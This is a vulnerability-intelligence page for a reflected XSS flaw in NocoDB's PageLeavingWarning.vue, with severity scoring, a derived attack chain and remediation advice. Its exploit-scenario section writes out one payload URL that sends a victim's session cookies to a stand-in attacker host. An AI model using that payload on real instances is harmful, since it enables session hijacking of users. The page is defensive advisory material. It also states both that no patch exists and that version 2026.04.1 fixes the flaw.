Skip to main content

NocoDB EUVDEUVD-2026-38588

| CVE-2026-46547 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-05-21 https://github.com/nocodb/nocodb GHSA-9qgr-6vpg-9gh9
6.1
CVSS 3.1 · Vendor: https://github.com/nocodb/nocodb
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Identify NocoDB instance and craft javascript: URI payload
  2. Delivery
    Embed payload in ncRedirectUrl or ncBackUrl query parameter
  3. Exploit
    Deliver crafted URL to victim via phishing or chat
  4. Install
    Victim clicks link, PageLeavingWarning.vue renders
  5. C2
    isSameOriginUrl() returns false, raw URI assigned to window.location.href
  6. Execute
    Arbitrary JavaScript executes in NocoDB browser context
  7. Impact
    Exfiltrate session cookies or perform authenticated actions as victim

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that the victim clicks an attacker-controlled link targeting a NocoDB instance with crafted ncRedirectUrl or ncBackUrl query parameters set to a javascript: URI (UI:R per CVSS - victim interaction is mandatory). The Page Leaving Warning component (PageLeavingWarning.vue) must render in the victim's browser session, which occurs during navigation flows involving unsaved-change warnings. No authentication is required to exploit this vulnerability (PR:N per CVSS vector) - the attacker does not need an account on the NocoDB instance, only the ability to deliver a link to a user who does interact with it. Exploitation is limited by: the social engineering requirement (victim must click the link), the dependency on the Page Leaving Warning page being triggered, and the restriction that JavaScript executes in the NocoDB browser context only (not the server). Non-internet-exposed NocoDB instances reduce the phishing delivery surface but do not eliminate risk from insider or supply-chain link-delivery scenarios.

Impact

The CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) scores this at 6.1 Medium. Key signals: network-reachable with no authentication and low complexity, but requiring victim interaction (UI:R) - the victim must click a crafted link. The Changed Scope (S:C) reflects that execution occurs in the NocoDB browser context, enabling access to session tokens, cookies, and same-origin resources beyond the immediate page. No EPSS data was provided in the intelligence feed, so quantitative exploitation probability cannot be assessed. This CVE is not listed in CISA KEV, and no confirmed public exploit code was identified - risk of opportunistic mass exploitation is therefore lower than the advisory detail alone might suggest. However, the absence of any fixed version (advisory lists 'fixed in: None') is a material risk amplifier: all deployed NocoDB instances on npm <= 0.301.3 have no vendor-supplied remediation path. Internet-exposed NocoDB deployments accessible to external or untrusted users carry the highest realistic risk given the social-engineering delivery requirement.

Exploit ScenarioDerived

An attacker identifies a publicly accessible NocoDB instance and crafts a URL of the form https://target-nocodb.example.com/page?ncRedirectUrl=javascript:fetch('https://attacker.com/?c='+document.cookie), then delivers it to a NocoDB user via phishing email or internal chat. When the victim clicks the link and the Page Leaving Warning component renders, NocoDB's isSameOriginUrl() returns false for the javascript: scheme, and the raw URI is assigned to window.location.href, executing the attacker's code in the NocoDB browser context and exfiltrating the victim's session cookies. No confirmed public exploit code exists, but the advisory's disclosure of the exact file (PageLeavingWarning.vue), parameters (ncRedirectUrl, ncBackUrl), and bypass logic (isSameOriginUrl() returning false) provides sufficient detail for independent POC construction.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 21, 2026

Reflected XSS in NocoDB's Page Leaving Warning component allows unauthenticated remote attackers to execute arbitrary JavaScript in a victim's browser by delivering a crafted URL containing a javascript: URI in the ncRedirectUrl or ncBackUrl query parameters. All NocoDB npm releases up to and including version 0.301.3 are affected, and no vendor-released patch has been identified at time of analysis. No active exploitation has been confirmed (not in CISA KEV), but the GitHub Security Advisory provides sufficient technical specificity - including the exact vulnerable file and parameter names - to enable independent POC development.

RemediationAI

No vendor-released patch has been identified at time of analysis - the GitHub Advisory GHSA-9qgr-6vpg-9gh9 (https://github.com/nocodb/nocodb/security/advisories/GHSA-9qgr-6vpg-9gh9) lists no fixed version for npm/nocodb <= 0.301.3. Organizations should monitor that advisory and the NocoDB GitHub repository for a patched release and upgrade immediately upon availability. As compensating controls: (1) Restrict NocoDB access to trusted internal networks or authenticated VPN sessions, which eliminates the primary attack-delivery surface (external phishing of crafted links) - trade-off is reduced accessibility for remote workers. (2) Deploy a Content Security Policy (CSP) header via reverse proxy or web server that includes default-src 'self' and disallows javascript: URI navigation (e.g., navigate-to 'self' or blocking via script-src); note that aggressive CSP may interfere with NocoDB's legitimate use of inline scripts and should be tested against application functionality before production enforcement. (3) If NocoDB is embedded behind an authenticated SSO or proxy layer, ensure users cannot receive and follow external deep-links to the NocoDB origin without re-authentication, reducing phishing effectiveness. Source-level mitigation for teams self-hosting from source: add javascript: URI scheme validation to isSameOriginUrl() in PageLeavingWarning.vue and reject any URL whose scheme is not http or https before assignment to window.location.href or <a href>.

Affected VersionsENISA

nocodb < 2026.04.1

Affected Packages

npm nocodb fix: 2026.04.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

NocoDB is an open-source no-code database platform distributed as an npm package (pkg:npm/nocodb) built on Vue.js. The vulnerability resides in PageLeavingWarning.vue, a Vue Router component rendered when users attempt to navigate away from pages with unsaved changes. The component reads ncRedirectUrl and ncBackUrl directly from the route query object without sanitization or allowlist validation. A same-origin guard (isSameOriginUrl()) is present but does not block javascript: URIs - because they are not same-origin, the check returns false, and the code path assigns the raw attacker-controlled value to window.location.href and binds it as an <a> tag href, both of which browsers treat as executable JavaScript. CWE-79 (Improper Neutralization of Input During Web Page Generation) classifies the root cause as failure to neutralize user-controlled input before reflecting it into a JavaScript execution sink.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/nocodb/nocodb) PRIMARY 6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Primary rating from Vendor (https://github.com/nocodb/nocodb) · only source for this CVE.

CVSS VectorVendor: https://github.com/nocodb/nocodb

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

1
Patch available
Jun 23, 2026 - 23:02 EUVD

DescriptionCVE.org

Summary

A reflected XSS vulnerability exists in the Page Leaving Warning page. The ncRedirectUrl and ncBackUrl query parameters are used in window.location.href and <a> tag bindings without validation, allowing javascript: URI injection.

Details

PageLeavingWarning.vue reads ncRedirectUrl and ncBackUrl directly from the route query without validation. When isSameOriginUrl() returns false (as it does for javascript: URIs), the raw URL is assigned to window.location.href, executing arbitrary JavaScript. The redirect URL is also bound directly to an <a> tag's href attribute.

Impact

An attacker can execute arbitrary JavaScript in the context of the NocoDB application by sending a crafted link to a victim. No authentication is required.

Credit

This issue was reported by @naoyashiga.

Threat Intelligence Overview

EPSS Score
0.1%
Top 82% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy